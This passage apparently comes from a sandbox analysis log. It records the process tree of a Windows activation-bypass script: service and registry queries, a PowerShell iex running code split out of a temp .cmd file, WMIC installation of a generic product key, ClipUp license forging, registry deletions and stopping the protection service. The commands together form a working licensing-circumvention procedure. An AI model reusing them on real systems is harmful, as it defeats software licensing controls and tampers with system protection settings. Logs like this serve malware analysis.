C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState6⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState7⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd') -split ':wpatest\:.*';iex ($f[1])" 2>nul6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_d4433fea-60ae-437a-914d-c9755b4e0881.cmd') -split ':wpatest\:.*';iex ($f[1])"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "10" "6⤵
-
-
C:\Windows\System32\find.exefind /i "Error Found"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE" 2>nul6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE7⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "try { $null=([WMISEARCHER]'SELECT * FROM SoftwareLicensingService').Get().Version; exit 0 } catch { exit $_.Exception.InnerException.HResult }"6⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 06⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value6⤵
-
-
C:\Windows\System32\find.exefind /i "computersystem"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0" "6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "0x800410 0x800440 0x80131501"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedTSReArmed"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ClipSVC\Volatile\PersistedSystemState"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe\PerfOptions"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm" 2>nul6⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm"7⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0" /f ba02fed39662 /d6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore 2>nul6⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE" 2>nul6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE7⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Get-WmiObject -Query 'SELECT Description FROM SoftwareLicensingProduct WHERE PartialProductKey IS NOT NULL AND LicenseDependsOn IS NULL' | Select-Object -Property Description"6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "KMS_"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powershell.exe "(Get-ScheduledTask -TaskName 'SvcRestartTask' -TaskPath '\Microsoft\Windows\SoftwareProtectionPlatform\').State" 2>nul6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "(Get-ScheduledTask -TaskName 'SvcRestartTask' -TaskPath '\Microsoft\Windows\SoftwareProtectionPlatform\').State"7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "6⤵
-
-
C:\Windows\System32\find.exefind /i "Ready"6⤵
-
-
C:\Windows\System32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "actionlist" /f6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$acl = (Get-Acl 'C:\Windows\System32\spp\store\2.0' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow FullControl') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$acl = (Get-Acl 'HKLM:\SYSTEM\WPA' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow QueryValues, EnumerateSubKeys, WriteKey') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$acl = (Get-Acl 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow SetValue') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$netServ = (New-Object Security.Principal.SecurityIdentifier('S-1-5-20')).Translate([Security.Principal.NTAccount]).Value; $aclString = Get-Acl 'Registry::HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies' | Format-List | Out-String; if (-not ($aclString.Contains($netServ + ' Allow FullControl') -or $aclString.Contains('NT SERVICE\sppsvc Allow FullControl')) -or ($aclString.Contains('Deny'))) {Exit 3}"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE" 2>nul6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "040fa323-92b1-4baf-97a2-5b67feaefddb 0724cb7d-3437-4cb7-93cb-830375d0079d 0ad2ac98-7bb9-4201-8d92-312299201369 1a9a717a-cf13-4ba5-83c3-0fe25fa868d5 221a02da-e2a1-4b75-864c-0a4410a33fdf 291ece0e-9c38-40ca-a9e1-32cc7ec19507 2936d1d2-913a-4542-b54e-ce5a602a2a38 2c293c26-a45a-4a2a-a350-c69a67097529 2de67392-b7a7-462a-b1ca-108dd189f588 2ffd8952-423e-4903-b993-72a1aa44cf82 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf 3502365a-f88a-4ba4-822a-5769d3073b65 377333b1-8b5d-48d6-9679-1225c872d37c 3df374ef-d444-4494-a5a1-4b0d9fd0e203 3f1afc82-f8ac-4f6c-8005-1d233e606eee 49cd895b-53b2-4dc4-a5f7-b18aa019ad37 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c 4f3da0d2-271d-4508-ae81-626b60809a38 5d78c4e9-aeb3-4b40-8ac2-6a6005e0ad6d 60b3ec1b-9545-4921-821f-311b129dd6f6 613d217f-7f13-4268-9907-1662339531cd 62f0c100-9c53-4e02-b886-a3528ddfe7f6 6365275e-368d-46ca-a0ef-fc0404119333 721f9237-9341-4453-a661-09e8baa6cca5 73111121-5638-40f6-bc11-f1d7b0d64300 7a802526-4c94-4bd1-ba14-835a1aca2120 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69 82bbc092-bc50-4e16-8e18-b74fc486aec3 8ab9bdd1-1f67-4997-82d9-8878520837d9 8b351c9c-f398-4515-9900-09df49427262 90da7373-1c51-430b-bf26-c97e9c5cdc31 92fb8726-92a8-4ffc-94ce-f82e07444653 95dca82f-385d-4d39-b85b-5c73fa285d6f a48938aa-62fa-4966-9d44-9f04da3f72f2 b0773a15-df3a-4312-9ad2-83d69648e356 b4bfe195-541e-4e64-ad23-6177f19e395e b68e61d2-68ca-4757-be45-0cc2f3e68eee bd3762d7-270d-4760-8fb3-d829ca45278a c86d5194-4840-4dae-9c1c-0301003a5ab0 ca7df2e3-5ea0-47b8-9ac1-b1be4d8edd69 d552befb-48cc-4327-8f39-47d2d94f987c d6eadb3b-5ca8-4a6b-986e-35b550756111 df96023b-dcd9-4be2-afa0-c6c871159ebe e0c42288-980c-4788-a014-c080d2e1926e e4db50ea-bda1-4566-b047-0ca50abc6f07 e558417a-5123-4f6f-91e7-385c1c7ca9d4 e7a950a2-e548-4f10-bf16-02ec848e0643 eb6d346f-1c60-4643-b960-40ec31596c45 ec868e65-fadf-4759-b23e-93fe37f2cc29 ef51e000-2659-4f25-8345-3de70a9cf4c4 f7af7d09-40e4-419c-a49b-eae366689ebd fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab fe74f55b-0338-41d6-b267-4a201abe7285 " "6⤵
-
-
C:\Windows\System32\find.exefind /i "4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c"6⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call InstallProductKey ProductKey="VK7JG-NPHTM-C97JM-9MPGT-3V66T"6⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 06⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Name 2>nul6⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Name7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Nation 2>nul6⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Nation7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powershell.exe [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("""OSMajorVersion=5;OSMinorVersion=1;OSPlatformId=2;PP=0;Pfn=Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe;PKeyIID=465145217131314304264339481117862266242033457260311819664735280;$([char]0)"""))6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("""OSMajorVersion=5;OSMinorVersion=1;OSPlatformId=2;PP=0;Pfn=Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe;PKeyIID=465145217131314304264339481117862266242033457260311819664735280;$([char]0)"""))7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "TwBTAE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuAD0ANQA7AE8AUwBNAGkAbgBvAHIAVgBlAHIAcwBpAG8AbgA9ADEAOwBPAFMAUABsAGEAdABmAG8AcgBtAEkAZAA9ADIAOwBQAFAAPQAwADsAUABmAG4APQBNAGkAYwByAG8AcwBvAGYAdAAuAFcAaQBuAGQAbwB3AHMALgA0ADgALgBYADEAOQAtADkAOAA4ADQAMQBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAOwBQAEsAZQB5AEkASQBEAD0ANAA2ADUAMQA0ADUAMgAxADcAMQAzADEAMwAxADQAMwAwADQAMgA2ADQAMwAzADkANAA4ADEAMQAxADcAOAA2ADIAMgA2ADYAMgA0ADIAMAAzADMANAA1ADcAMgA2ADAAMwAxADEAOAAxADkANgA2ADQANwAzADUAMgA4ADAAOwAAAA==" "6⤵
-
-
C:\Windows\System32\find.exefind "AAAA"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Start-Job { Restart-Service ClipSVC } | Wait-Job -Timeout 20 | Out-Null"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\ClipUp.execlipup -v -o6⤵
-
C:\Windows\System32\clipup.execlipup -v -o -ppl C:\Users\Admin\AppData\Local\Temp\tem9A62.tmp7⤵
- Checks SCSI registry key(s)
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 11 Pro" "6⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"6⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey IS NOT NULL AND LicenseDependsOn is NULL" call Activate6⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 06⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"6⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "State" /f6⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "SuppressRulesEngine" /f6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Start-Job { Stop-Service sppsvc -force } | Wait-Job -Timeout 20 | Out-Null; $TB = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$TB.DefinePInvokeMethod('SLpTriggerServiceWorker', 'sppc.dll', 22, 1, [Int32], @([UInt32], [IntPtr], [String], [UInt32]), 1, 3); [void]$TB.CreateType()::SLpTriggerServiceWorker(0, 0, 'reeval', 0)"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\mode.commode 76, 346⤵
-
-
C:\Windows\System32\choice.exechoice /C:123456789EH0 /N6⤵
-
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o1⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o -ppl C:\Windows\SystemTemp\tem98EB.tmp2⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff81d4dcf8,0x7fff81d4dd04,0x7fff81d4dd102⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1444,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2068 /prefetch:112⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2036,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2032 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2352,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2368 /prefetch:132⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3192,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3372 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3288,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3464 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4176,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4216 /prefetch:92⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4724,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4712 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5288,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5304 /prefetch:142⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5536,i,7500977709711556340,10840268605092657496,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5552 /prefetch:142⤵
-
-
